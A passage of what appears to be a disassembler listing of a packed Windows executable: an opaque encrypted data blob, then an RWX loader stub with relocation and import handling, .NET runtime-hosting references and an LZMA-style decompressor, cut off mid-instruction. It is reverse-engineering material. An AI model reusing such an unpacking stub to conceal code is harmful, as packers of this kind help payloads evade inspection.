4F6F7BC1h, 0E3A6DAFCh, 0CC5BCA2Eh, 0A86D4240h, 3B28604Dh dd 790F4E76h, 0A726347Bh, 0B6082BBh, 508444DEh, 7730E664h dd 0DF689D47h, 0D8B4AB71h, 633CD57Bh, 0AFC5B9D3h, 0F85678A1h dd 0C6902D69h, 57C7170Ah, 368F628Ah, 474D9973h, 0F4937001h dd 369E307Dh, 0EF5D0D56h, 493BBAEFh, 0B81CD3BFh, 712BD81Ah dd 1150F80Fh, 0DDE2009Dh, 0E0327EC3h, 4CEFFE8Fh, 21046F6Dh dd 37C012CFh, 0CFBBA483h, 12556CB7h, 0EFA0B641h, 6BDDBC6Dh dd 9244DB26h, 13593715h, 4FDF7CC3h, 6F5EE2B2h, 0DD8ECC19h dd 69958C52h, 0EC9962F0h, 0B0BC8FECh, 767EE849h, 89FB1469h dd 343B7B8Eh, 0AFD8D732h, 91844DE9h, 0C391B31Ah, 0DE2FE470h dd 26B7A673h, 0B4CDF594h, 0A147FC2h, 0C044AB65h, 0E8B9AB48h dd 6012E879h, 5462AD4Dh dd 290E0FBFh, 444CE601h, 0CE0517CEh, 0E2E36E53h, 0E3817066h dd 7EEC59D2h, 8C3AD774h, 7D6877B6h, 0E0C24D31h, 0F5C9691Fh dd 0D230A068h, 0A93B4857h, 7BDBE769h, 91002341h, 3CF7BC61h dd 65CE58A6h, 5D944371h, 60DA2C5Ch, 0D9576779h, 0AA3290E1h dd 1216AB61h, 82821FDBh, 0EE7D288Bh, 355AFA99h, 601485ADh dd 7CFD8B5Ch, 20E4B871h, 0BCE261CCh, 0C2E5CE3Dh, 0F0C5EDB6h dd 0D7C65284h, 0AD7BADB2h, 972AC29Dh, 0EB4533E8h, 3BDDE41Fh dd 0C3C80475h, 8EBEABF2h, 0C4E511F9h, 0D0AD0D5Ah, 17B972DFh dd 0DDD5A8DEh, 0DDCB7B98h, 8B5F057Fh, 0A0E55E81h, 96BB2BDCh dd 545822B8h, 0A59A1678h, 0AA5998CBh, 3269FDD2h, 0F049EB46h dd 0D49B4212h, 31D9BA45h, 0FF490B74h, 0C57DD37Bh, 385934EAh dd 274B8F8Dh, 4C1A962Bh, 719F6D97h, 0AA7F6075h, 0BD8DC489h dd 9B32EB5Dh, 0F959D79h, 0A231534Dh, 0E88A487Eh, 1ADD6096h dd 1BEF83EAh, 6D1F0672h, 291845B9h, 0D422E462h, 0B8517DFFh dd 0AD3BE229h, 0CF719F95h, 1025054Bh, 0EA4075D7h, 6E8A2ED1h dd 5FAB2245h, 0FB4BB10Fh, 0DE62D4A4h, 34C2CA43h, 546E6F4Ch dd 0A3902654h, 99C73D58h, 0B485D0DAh, 70D3E512h, 0F95075AFh dd 7704CD14h, 0D9B96C4Ah, 910419D2h, 0CB61D919h, 8157F924h dd 35CD7271h, 0CD60B367h, 0A193618Fh, 91C620B5h, 0CD4CDA0Bh dd 0F9433712h, 9D57062Dh, 6DF37F87h, 0CE723B87h, 727F3C9Eh dd 282B8C73h, 0A6643C6Dh, 4BDE7C12h, 2D2924C1h, 6A89115Fh dd 0EDD8671Fh, 1340ACF3h, 66550D21h, 0C09BE959h, 0D257CC95h dd 0E42F3F51h, 5ECB61Dh, 0F88841E7h, 6D8C97ACh, 2A08A1C0h dd 6A14DDEEh, 6B20B675h, 47C6F854h, 6B0B7EDDh, 21CA3B63h dd 0A81EF601h, 0A6432784h, 280B3385h, 538099D8h, 4A8DE10Ah dd 0C5AC4563h, 54240A84h, 0B20C83C2h, 0E521706Fh, 0F9C586D0h dd 47FB412Ah, 0FD9010FBh, 0E88F112Ah, 887D9649h, 5AF963E7h dd 85FAD0CAh, 0F8536041h, 0DB7DFF2Ah, 36B5E217h, 0F3273D73h dd 0D91E0DBDh, 39F7EA87h, 0E39C71CDh, 406E2DC5h, 1000519Fh dd 0C969FB37h, 0BD81730Fh, 0EB50825Fh, 1D7A70D6h, 8F41187Bh dd 4021E0CAh, 1668E6A0h, 9A6EC853h, 0ECC1C19Ch, 242275D8h dd 0C2231AE2h, 0FB686668h, 178A94FDh, 91A0897h, 342489C1h dd 21021AD6h, 7958EB9Eh, 0C58D1687h, 34A31D5Bh, 2C7531DCh dd 0C660B5E7h, 0EAB2EC51h, 840FE628h, 2041C84h, 36193807h dd 6CE00475h, 0D6044364h, 0B2A80EEBh, 304A2EBCh, 4ABADC59h dd 76216461h, 7CAFEEEBh, 0FD368E8Ch, 7C3B4F4Ch, 2EFD18F4h dd 1B08B611h, 0E8CC7EC7h, 0D29CAE1Ah, 438BAFB8h, 459DCDF8h dd 96B19A82h, 0FF496F94h, 9693A617h, 23B7CA53h, 0A9F843h dd 0DDF9BF2Eh, 3CEEFAD9h, 0D54CAACBh, 8DEFF242h, 0E082E882h dd 0D7123F0Dh, 0E0C99AEFh, 0F44E142Eh, 30B4C0F6h, 0B0C14B82h dd 0B7EF98B2h, 6E347D61h, 0C617FF07h, 748F30D3h, 79699F1Eh dd 8FFCAA91h, 1F9AAF5Fh, 0AA1B7973h, 0C902854Dh, 66DBFBDBh dd 0E2AEF1B1h, 71D1D851h, 3D50A30Ch, 9D5F68C8h, 0CC0B4810h dd 35A469BCh, 6C0CC0Bh, 0B538AB8Ah, 0BE2669CAh, 0AFE40167h dd 0D4BAC9E1h, 2451D40Ah, 270610AAh, 0F030EF01h, 10C98E01h dd 0A05FDC47h, 0E85E3121h, 0D94458A3h, 0A9B2DD72h, 739534B6h dd 48E6A027h, 336A9720h, 1032BBC0h, 0B50BBEFCh, 250FCAD5h dd 0CA41DBE7h, 9481EDF9h, 3A9CBAB3h, 361EBD1Bh, 6C1554DFh dd 0DDEF44DAh, 8EC75660h, 0BF64EA35h, 96CDBC64h, 926217C6h dd 74D55256h, 3C7CCCC5h, 0FF8A8EB8h, 52EECC2Bh, 0E945B710h dd 0AB3EC620h, 0DECE70B8h, 2259D707h, 6EE8604Ah, 0B75BDC65h dd 33D90EAEh, 81C45FB1h, 0E7CF464Ch, 99D2ADA6h, 34D4A148h dd 15261F13h, 0BD9CC27Ah, 0DCCE4E84h, 3FA34210h, 8D8BCF29h dd 8724970Dh, 0BEBC8757h, 6CB94B9Eh, 0F41D5BC5h, 0F9B6686Ch dd 8A51EDC7h, 5184B49Ch, 0A0910C42h, 0D6EA7B71h, 9CC0C853h dd 0D8629839h, 7768FD05h, 0A29411A9h, 0E2D1725Bh, 8633734Eh dd 0A40F2385h, 0B189C79Fh, 96805B80h, 7E6728Ah, 528A4BF5h dd 48A007E0h, 93EB74E5h, 58E3BB5Fh, 0D680FD0Ah, 0C4804AE6h dd 0F2A48D7Fh, 9A3F0CF7h, 9FE4B2AFh, 47B52D79h, 1582A4F9h dd 58DF7869h, 0B180C439h, 0B91620Dh, 1D5BFD02h, 14E4A1C8h dd 0D61118B5h, 7E8FED8Ah, 0E80FA9D1h, 0D151F53h, 2B9E3168h dd 78283518h, 260FF683h, 9FE768AAh, 9C49A2BBh, 5C84EF38h dd 1F28106Ah, 9D798E39h, 47380651h, 0E17F66AAh, 2C208498h dd 0A72504A7h, 9D486228h, 0D32FFA7Eh, 1A989CEh, 0FC8A708Ch dd 7C5A34h, 0FCC116FDh, 0D73AFE0Eh, 7726EA6Eh, 0BF7AD651h dd 0F238ED2Dh, 6533A802h, 4923D9F0h, 0CA6D4652h, 0A22F3E30h dd 803B2DB6h, 5922212Eh, 0B9BFFE84h, 2AE5036Bh, 0E553CC4h dd 91E828FBh, 0AD771AFDh, 0E1312172h, 0BE64CAAFh, 8CF6B3CCh dd 0E95CF661h, 0AC11A921h, 7FFFF159h, 91BC98CFh, 0BD46C681h dd 0F2C890F6h, 6A22BBE6h, 0C8F1C451h, 2CEF8038h, 929B2EDDh dd 1EFF7260h, 0B3ABE848h, 365EA980h, 0AAEF7B2Fh, 63D187B2h dd 0AEA2DC15h, 0F3F8094Ah, 44CBFD94h, 0DFCD8769h, 0A39E1280h dd 444878D9h, 0F89E9019h, 0C7AE7DBh, 0E7AA1E96h, 97E59D8Ch dd 544E7168h, 86F7060Dh, 817CD942h, 0E8B4BDEDh, 6CA68123h dd 0F12D21Dh, 0BA0A6E08h, 5C8643C9h, 0FDDC9390h, 18FDFB42h dd 55369700h, 0AEA0E52Fh, 0B45D7997h, 93DEE669h, 86C4A45Eh dd 0BCBD65DFh, 31335E4Fh, 700F8166h, 6C2FCD38h, 0B024146Bh dd 2FFEF51Ah, 0E7E4A16Bh, 6AC46D39h, 8F89F5F3h, 8C6744B1h dd 0DF5E454Fh, 0AFCD2368h, 1DB8E2D6h, 0A3D3D3C2h, 0E3379CC9h dd 0DD40AC2Bh, 0D1E58284h, 8EE93CD7h, 0A5EA7784h, 7CFF1CECh dd 5C56476Bh, 0CE9EDB8Dh, 0F190D9F6h, 0AA73D3E2h, 4A4ABB5Dh dd 6CF17189h, 234C93D0h, 5FAF4EAAh, 8E4AFDEBh, 9003A2A8h dd 0BED127D5h, 0F172DBAh, 5F4FCE86h, 0DCC489A0h, 7776BD51h dd 658DEAD3h, 0BBD0342Ah, 0A5FACFA2h, 8F30C2A4h, 0C77C051Bh dd 680A22B7h, 4DA3CEFFh, 2D2C6DF8h, 6419EA6Bh, 560A75BAh dd 7360116Ah, 0C81E9C20h, 471026CAh, 9E68EC9Eh, 0B0F0BED1h dd 0EC5DBDA3h, 0D462B89Ah, 0B7DE3B05h, 0F4E3FA59h, 819D8369h dd 2217605Bh, 0C697F3Fh, 0EE78E1E7h, 180E83F4h, 9022B988h dd 20E46E16h, 0C401ACF1h, 0F90623F2h, 0DB085D98h, 85EF7561h dd 0DA783AE7h, 0E0CF01B3h, 8D043928h, 1F480F2Ah, 0E8DDDB1Fh dd 3D7F9E78h, 3AF734Bh, 5BB5E5B6h, 1A360324h, 0C158115Eh dd 0D5BDBD4Dh, 0AE89D882h, 488F6CE5h, 2CA2FD19h, 9CF11489h dd 0F188F891h, 690F036Ch, 5E9C78F1h, 18025AF8h, 67B0FCE4h dd 6E3E17F2h, 3CF1393Ah, 0E464E96Eh, 0E9245F8Eh, 1D88C3EDh dd 0B23BB206h, 7B7C7AE8h, 0F54BBB30h, 602350Ch, 2FF9DA1Fh dd 6A587A68h, 77BBBE2Bh, 45622E40h, 8D09AB98h, 2400EE12h dd 684ACD91h, 40A4FD77h, 6F109D0Fh, 5C1A79F8h, 1C913C59h dd 0C44E37A8h, 41E329A0h, 13B33A50h, 9258BAEAh, 9BD1B94Dh dd 0C5BC7C53h, 1D692E66h, 866D104h, 4B62C8C7h, 0BE8C208h dd 0EC9FCA0Ah, 87F0FC51h, 1FDBEB51h, 0B1D6FF85h, 0FECE8B41h dd 25AA1CECh, 0F85787C2h, 565D2F83h, 963CDFEAh, 2CC51F5Dh dd 269418ECh, 0CDC9A29Dh, 0C7282DDBh, 0D969D19Fh, 3CEB9223h dd 34E472FFh, 6AE72EE5h dd 14641E86h, 5A0EEC8Dh, 7B2434E0h, 0CF9818AAh, 1BDBDA33h dd 0A478BCB4h, 2D37F773h, 402987C0h, 0F60738EFh, 37FCA815h dd 0B08AC2E4h, 39202A93h, 9BFFB1B1h, 3F489689h, 924CC253h dd 8517B89Eh, 0D9E5A4F9h, 6D10D444h, 5FD12357h, 82374FB8h dd 9BDAEA19h, 0BC2D71BDh, 1206B43Fh, 63E9E030h, 85B7D142h dd 0EBFF1E2Bh, 0DB9F5EBBh, 7EC0635Fh, 66247D99h, 9CAB5DE6h dd 0A217DD51h, 6FF863BDh, 0C6422D4Bh, 0E71ECD15h, 0B239B414h dd 2D48E541h, 0A0911514h, 1ADCDCAEh, 40CACCCAh, 93F939B8h dd 3615BC67h, 5DE47372h, 3E77194Ah, 2D3E1F3Eh, 2C17B25Fh dd 0E05C108Eh, 1CDB79E4h, 8DE4C988h, 1948A3FDh, 7673F4D7h dd 1E1B040Bh, 0F8F3F570h, 7AE8A6F3h, 2AC3BD1Dh, 0B608D606h dd 50D5AC81h, 41FB380Fh, 1BA344CCh, 872A4E55h, 0BFDECEF0h dd 6DBF9425h, 4CA2E810h, 56ECF088h, 6CB6B5DEh, 0A631A8C9h dd 979B6512h, 58AB3F2h, 42855341h, 7538FBFCh, 3C9B4715h dd 0CAA357A6h, 7BC5934Dh, 9EE3218h, 2B7E7DA1h, 0A9F2FE86h dd 71621D26h, 0C0822764h, 9AE0AA21h, 0D5493850h, 251D4F23h dd 0F698AF76h, 0E63CDF22h, 0A6E8D0FEh, 8AA769E0h, 0B13881E0h dd 4635CE64h, 0C3EFE518h, 3BF39763h, 0B80B778Fh, 1D5FE199h dd 0D97C1CFEh, 0BC98DE0Fh, 26186954h, 0E34E731Eh, 0DA95499Ch dd 3614F2AAh, 0B979D790h, 0D49EAC2Fh, 959EC88Eh, 952A42B7h dd 8B2DCEFh, 14491CCBh, 70CE4919h, 294909EBh, 4A2DCE9Ah dd 2BFE78DBh, 545C8F8Dh, 2BDD4DF8h, 52CB091Dh, 811E6C98h dd 0C73E6553h, 0D4AF9B94h, 3BFFED9Dh, 0F3470001h, 0AAF171BFh dd 0F90DC0C9h, 0A03F5987h, 9821159h, 686C20DCh, 642A9B5Eh dd 69F500EBh, 77456AACh, 71CCC3CCh, 688E6022h, 0C00C6507h dd 3F779F3Eh, 0BB2ABDB2h, 1A605CBAh, 188E4D5Eh, 0D4554F9Ah dd 81E723C9h, 2A78BAFh, 6470AE33h, 44E3AB8Bh, 0B32CDBB3h dd 0C1A73128h, 12628AA4h, 0EED7693Ch, 82453561h, 0C8895B36h dd 31DC5960h, 0FF76B9BCh, 0CBE601A7h, 198C9232h, 46FDFF71h db 0E4h, 24h _pdata ends ; Section 3. (virtual address 00037000) ; Virtual size : 000017EC ( 6124.) ; Section size in file : 000017EC ( 6124.) ; Offset to raw data for section: 00037000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _ex_cod segment para public 'CODE' use32 assume cs:_ex_cod ;org 437000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_437000 dd 16FCh ; DATA XREF: start:loc_437A55r ; start+21o dd offset sub_438237 dd 0 dword_43700C dd 0 ; DATA XREF: sub_438237+3r ; sub_43828D+7w dword_437010 dd 0 ; DATA XREF: sub_438237+32w ; sub_43828Dr dword_437014 dd 0 ; DATA XREF: sub_438237+3Cw ; sub_43828D+1Fr dword_437018 dd 0 ; DATA XREF: sub_438237+44w ; sub_43828D+19r dword_43701C dd 0 ; DATA XREF: sub_438237+4Cw ; sub_43828D+13r dword_437020 dd 0 ; DATA XREF: start+116r off_437024 dd offset dword_4386FC ; DATA XREF: start+26w start+2Br ... dword_437028 dd 400000h ; DATA XREF: start+38w start+4Cr ... dword_43702C dd 1 ; DATA XREF: start+3Er ; start:loc_437A96w dd 2 dup(0) aUnexpectedRelo db 'Unexpected relocation type: *pw = 0x%04x *pdw = 0x%08x',0 ; DATA XREF: start+734o aErrorBadReloca db 'Error bad relocation pointer: *pdw = 0x%08x',0 ; DATA XREF: start+6E4o aTheHsFileIsL_0 db 'The %hs file is ',0Ah ; DATA XREF: start+595o db 'linked to missing export %hs:%hs.',0 align 10h aTheHsFileIsLin db 'The %hs file is ',0Ah ; DATA XREF: start+576o db 'linked to missing export %hs:0x%04x.',0 align 4 aARequired_dllF db 'A required .DLL file, %hs, was not found.',0 ; DATA XREF: start+48Bo align 4 aErrorAllocatin db 'Error allocating memory!',0 ; DATA XREF: start+200o align 10h dword_437150 dd 5F696DCh, 36632B29h, 38C48BADh, 13A7F29Ch ; DATA XREF: sub_4382B8+131o aWks: ; DATA XREF: sub_4382B8+F1o unicode 0, <wks>,0 aOleaut32_dll db 'oleaut32.dll',0 ; DATA XREF: sub_4382B8+57o align 4 aCorbindtorunti db 'CorBindToRuntimeEx',0 ; DATA XREF: sub_4382B8+4Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_4382B8+45o aCouninitialize db 'CoUninitialize',0 ; DATA XREF: sub_4382B8+38o align 4 aCoinitialize db 'CoInitialize',0 ; DATA XREF: sub_4382B8+2Do align 4 aOle32_dll db 'ole32.dll',0 ; DATA XREF: sub_4382B8+11o align 4 dd 37200h, 2 dup(0) dd 37304h, 37234h, 37228h, 2 dup(0) dd 3732Ch, 3725Ch, 5 dup(0) dd 37268h, 37276h, 37286h, 37298h, 372AAh, 372BEh, 372D0h dd 372DEh, 372F4h, 0 dd 37312h, 3731Eh, 0 dword_437234 dd 77E79E34h ; DATA XREF: sub_437960+ADr start+2E0r ... dword_437238 dd 77E7980Ah ; DATA XREF: sub_437960+65r start+75r ... dword_43723C dd 77E7A5FDh ; DATA XREF: start+523r start+545r ... dword_437240 dd 77E805B8h ; DATA XREF: start+43Br start+479r dword_437244 dd 77E79F93h ; DATA XREF: start+425r dword_437248 dd 77E6169Ah ; DATA XREF: start+40Dr start+5C9r ... dword_43724C dd 77E75CB5h ; DATA XREF: start+20Fr start+4AEr ... dword_437250 dd 77E7A099h ; DATA XREF: start+AAr dword_437254 dd 77E805D8h ; DATA XREF: sub_4382B8+9r dd 0 dword_43725C dd 77D4C96Ah ; DATA XREF: start+493r start+57Er ... dword_437260 dd 77D6ADD7h ; DATA XREF: start+207r start+4A6r ... align 8 dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h dd 416C6175h, 636F6C6Ch, 1980000h, 50746547h, 41636F72h dd 65726464h, 7373h, 6F4C0249h, 694C6461h, 72617262h, 41784579h dd 1770000h, 4D746547h, 6C75646Fh, 6E614865h, 41656C64h dd 37B0000h, 74726956h, 506C6175h, 65746F72h, 7463h, 784500AFh dd 72507469h, 7365636Fh, 1750073h aGetmodulefil_0 db 'GetModuleFileNameA',0 align 4 dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 4E52454Bh, 32334C45h dd 6C6C642Eh, 2D50000h, 72707377h, 66746E69h, 1DE0041h dd 7373654Dh, 42656761h, 41786Fh, 52455355h, 642E3233h dd 6C6Ch ; --------------------------------------------------------------------------- loc_437338: ; DATA XREF: sub_4382B8+E5o and ah, [edi+2Fh] retf ; --------------------------------------------------------------------------- cmp ch, [ebx+409C11D2h] add al, al dec edi mov ds:67233E0Ah, eax ; DATA XREF: sub_4382B8+EAo das retf ; --------------------------------------------------------------------------- dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_437358 proc near ; CODE XREF: sub_4375EB+309p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push esi xor eax, eax mov esi, [ecx+8] push edi mov edi, [ecx+0Ch] test edx, edx jle short loc_4373B0 push ebx mov [ebp+arg_0], edx loc_437373: ; CODE XREF: sub_437358+55j shr esi, 1 shl eax, 1 cmp edi, esi jb short loc_43737F sub edi, esi or al, 1 loc_43737F: ; CODE XREF: sub_437358+21j cmp esi, 1000000h jnb short loc_4373AA mov edx, [ecx] shl esi, 8 cmp edx, [ecx+4] jnz short loc_43739D mov dword ptr [ecx+10h], 1 or bl, 0FFh jmp short loc_4373A2 ; --------------------------------------------------------------------------- loc_43739D: ; CODE XREF: sub_437358+37j mov bl, [edx] inc edx mov [ecx], edx loc_4373A2: ; CODE XREF: sub_437358+43j movzx edx, bl shl edi, 8 or edi, edx loc_4373AA: ; CODE XREF: sub_437358+2Dj dec [ebp+arg_0] jnz short loc_437373 pop ebx loc_4373B0: ; CODE XREF: sub_437358+15j mov [ecx+0Ch], edi mov [ecx+8], esi pop edi pop esi pop ebp retn sub_437358 endp ; =============== S U B R O U T I N E ======================================= sub_4373BA proc near ; CODE XREF: sub_43747F+1Dp ; sub_4374B6+1Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push esi push edi mov eax, [ecx+8] movzx esi, word ptr [edx] mov edi, eax shr edi, 0Bh imul edi, esi mov esi, [ecx+0Ch] cmp esi, edi jnb short loc_43742B mov [ecx+8], edi mov ax, [edx] movzx esi, ax mov edi, 800h sub edi, esi sar edi, 5 add edi, eax mov [edx], di mov eax, [ecx+8] cmp eax, 1000000h jnb short loc_437427 mov esi, [ecx] cmp esi, [ecx+4] jnz short loc_43740E mov dword ptr [ecx+10h], 1 or dl, 0FFh jmp short loc_437413 ; --------------------------------------------------------------------------- loc_43740E: ; CODE XREF: sub_4373BA+46j mov dl, [esi] inc esi mov [ecx], esi loc_437413: ; CODE XREF: sub_4373BA+52j mov esi, [ecx+0Ch] movzx edx, dl shl esi, 8 or esi, edx shl eax, 8 mov [ecx+0Ch], esi mov [ecx+8], eax loc_437427: ; CODE XREF: sub_4373BA+3Fj xor eax, eax jmp short loc_43747C ; --------------------------------------------------------------------------- loc_43742B: ; CODE XREF: sub_4373BA+1Dj sub eax, edi sub esi, edi mov [ecx+8], eax mov [ecx+0Ch], esi mov ax, [edx] push 1 mov si, ax shr si, 5 sub eax, esi mov [edx], ax mov edx, [ecx+8] cmp edx, 1000000h pop eax jnb short loc_43747C mov esi, [ecx] push ebx cmp esi, [ecx+4] jnz short loc_437462 mov [ecx+10h], eax or bl, 0FFh jmp short loc_437467 ; --------------------------------------------------------------------------- loc_437462: ; CODE XREF: sub_4373BA+9Ej mov bl, [esi] inc esi mov [ecx], esi loc_437467: ; CODE XREF: sub_4373BA+A6j mov esi, [ecx+0Ch] movzx edi, bl shl esi, 8 or esi, edi pop ebx shl edx, 8 mov [ecx+0Ch], esi mov [ecx+8], edx loc_43747C: ; CODE XREF: sub_4373BA+6Fj ; sub_4373BA+96j pop edi pop esi retn sub_4373BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43747F proc near ; CODE XREF: sub_437576+26p ; sub_437576+51p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push 1 pop eax jle short loc_4374AA push esi push edi mov edi, [ebp+arg_4] loc_437490: ; CODE XREF: sub_43747F+27j push [ebp+arg_8] lea esi, [eax+eax] mov eax, [ebp+arg_0] add eax, esi push eax call sub_4373BA pop ecx add eax, esi dec edi pop ecx jnz short loc_437490 pop edi pop esi loc_4374AA: ; CODE XREF: sub_43747F+Aj mov ecx, [ebp+arg_4] push 1 pop edx shl edx, cl sub eax, edx pop ebp retn sub_43747F endp ; =============== S U B R O U T I N E ======================================= sub_4374B6 proc near ; CODE XREF: sub_4375EB+2F5p ; sub_4375EB+320p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push edi xor ebx, ebx push 1 xor edi, edi cmp [esp+0Ch+arg_4], ebx pop edx jle short loc_4374EC push esi loc_4374C6: ; CODE XREF: sub_4374B6+33j mov eax, [esp+0Ch+arg_0] push [esp+0Ch+arg_8] lea esi, [edx+edx] add eax, esi push eax call sub_4373BA pop ecx lea edx, [esi+eax] pop ecx mov ecx, edi shl eax, cl or ebx, eax inc edi cmp edi, [esp+0Ch+arg_4] jl short loc_4374C6 pop esi loc_4374EC: ; CODE XREF: sub_4374B6+Dj mov eax, ebx pop edi pop ebx retn sub_4374B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4374F1 proc near ; CODE XREF: sub_4375EB+143p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi movzx esi, [ebp+arg_8] shr esi, 7 shl [ebp+arg_8], 1 mov eax, esi push edi mov edi, [ebp+arg_0] push [ebp+arg_4] shl eax, 9 lea eax, [eax+edi+202h] push eax call sub_4373BA pop ecx mov ebx, eax pop ecx or ebx, 2 loc_437520: ; CODE XREF: sub_4374F1+5Fj cmp esi, eax jnz short loc_437552 cmp ebx, 100h jge short loc_43756F movzx esi, [ebp+arg_8] shr esi, 7 push [ebp+arg_4] lea eax, [esi+1] shl [ebp+arg_8], 1 shl eax, 8 add eax, ebx lea eax, [edi+eax*2] push eax call sub_4373BA pop ecx add ebx, ebx pop ecx or ebx, eax jmp short loc_437520 ; --------------------------------------------------------------------------- loc_437552: ; CODE XREF: sub_4374F1+31j mov esi, 100h loc_437557: ; CODE XREF: sub_4374F1+7Cj cmp ebx, esi jge short loc_43756F push [ebp+arg_4] add ebx, ebx lea eax, [ebx+edi] push eax call sub_4373BA pop ecx or ebx, eax pop ecx jmp short loc_437557 ; --------------------------------------------------------------------------- loc_43756F: ; CODE XREF: sub_4374F1+39j ; sub_4374F1+68j pop edi mov al, bl pop esi pop ebx pop ebp retn sub_4374F1 endp ; =============== S U B R O U T I N E ======================================= sub_437576 proc near ; CODE XREF: sub_4375EB+24Fp ; sub_4375EB+29Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push edi push esi call sub_4373BA pop ecx pop ecx test eax, eax push edi jnz short loc_4375A6 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+4] push eax call sub_43747F add esp, 0Ch jmp short loc_4375E8 ; --------------------------------------------------------------------------- loc_4375A6: ; CODE XREF: sub_437576+16j lea eax, [esi+2] push eax call sub_4373BA pop ecx pop ecx test eax, eax push edi jnz short loc_4375D4 mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+104h] push eax call sub_43747F add esp, 0Ch add eax, 8 jmp short loc_4375E8 ; --------------------------------------------------------------------------- loc_4375D4: ; CODE XREF: sub_437576+3Ej add esi, 204h push 8 push esi call sub_43747F add esp, 0Ch add eax, 10h loc_4375E8: ; CODE XREF: sub_437576+2Ej ; sub_437576+5Cj pop edi pop esi retn sub_437576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4375EB proc near ; CODE XREF: sub_437960+95p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_C] push 1 pop edx xor bl, bl lea ecx, [eax+edi] mov eax, 300h shl eax, cl xor ecx, ecx mov esi, edx mov [ebp+var_4], ecx mov [ebp+var_14], ecx mov [ebp+arg_C], ecx mov ecx, [ebp+arg_10] shl esi, cl add eax, 736h mov ecx, edi mov [ebp+var_8], edx mov [ebp+var_10], edx mov [ebp+var_C], edx mov [ebp+var_18], edx dec esi mov [ebp+var_1C], esi mov esi, edx shl esi, cl dec esi mov [ebp+var_20], esi mov esi, [ebp+arg_0] test eax, eax jbe short loc_437653 mov ecx, eax mov eax, 4000400h mov edi, esi shr ecx, 1 rep stosd adc ecx, ecx rep stosw loc_437653: ; CODE XREF: sub_4375EB+54j mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] and [ebp+var_24], 0 and [ebp+var_28], 0 or [ebp+var_2C], 0FFFFFFFFh lea edi, [eax+ecx] mov [ebp+var_34], eax mov [ebp+var_30], edi mov [ebp+arg_10], 5 loc_437675: ; CODE XREF: sub_4375EB+AFj cmp [ebp+var_34], edi jnz short loc_437681 mov [ebp+var_24], edx or al, 0FFh jmp short loc_437689 ; --------------------------------------------------------------------------- loc_437681: ; CODE XREF: sub_4375EB+8Dj mov eax, [ebp+var_34] mov al, [eax] inc [ebp+var_34] loc_437689: ; CODE XREF: sub_4375EB+94j mov ecx, [ebp+var_28] movzx eax, al shl ecx, 8 or ecx, eax dec [ebp+arg_10] mov [ebp+var_28], ecx jnz short loc_437675 mov eax, [ebp+arg_24] and dword ptr [eax], 0 cmp [ebp+arg_20], 0 jbe loc_437951 loc_4376AC: ; CODE XREF: sub_4375EB+360j mov edi, [ebp+var_1C] lea eax, [ebp+var_34] and edi, [ebp+arg_C] push eax mov eax, [ebp+var_4] shl eax, 4 add eax, edi lea eax, [esi+eax*2] push eax call sub_4373BA pop ecx test eax, eax pop ecx jnz loc_437761 mov edx, [ebp+var_20] mov cl, 8 sub cl, byte ptr [ebp+arg_8] and edx, [ebp+arg_C] movzx eax, bl shr eax, cl mov ecx, [ebp+arg_8] shl edx, cl add eax, edx lea eax, [eax+eax*2] shl eax, 9 cmp [ebp+var_4], 4 lea edi, [eax+esi+0E6Ch] jge short loc_437701 and [ebp+var_4], 0 jmp short loc_437711 ; --------------------------------------------------------------------------- loc_437701: ; CODE XREF: sub_4375EB+10Ej cmp [ebp+var_4], 0Ah jge short loc_43770D sub [ebp+var_4], 3 jmp short loc_437711 ; --------------------------------------------------------------------------- loc_43770D: ; CODE XREF: sub_4375EB+11Aj sub [ebp+var_4], 6 loc_437711: ; CODE XREF: sub_4375EB+114j ; sub_4375EB+120j cmp [ebp+var_14], 0 jz short loc_43773E mov eax, [ebp+arg_C] mov ecx, [ebp+arg_1C] sub eax, [ebp+var_8] mov al, [eax+ecx] mov byte ptr [ebp+arg_10], al lea eax, [ebp+var_34] push [ebp+arg_10] push eax push edi call sub_4374F1 add esp, 0Ch and [ebp+var_14], 0 mov bl, al jmp short loc_43775C ; --------------------------------------------------------------------------- loc_43773E: ; CODE XREF: sub_4375EB+12Aj push 1 pop ebx loc_437741: ; CODE XREF: sub_4375EB+16Fj add ebx, ebx lea 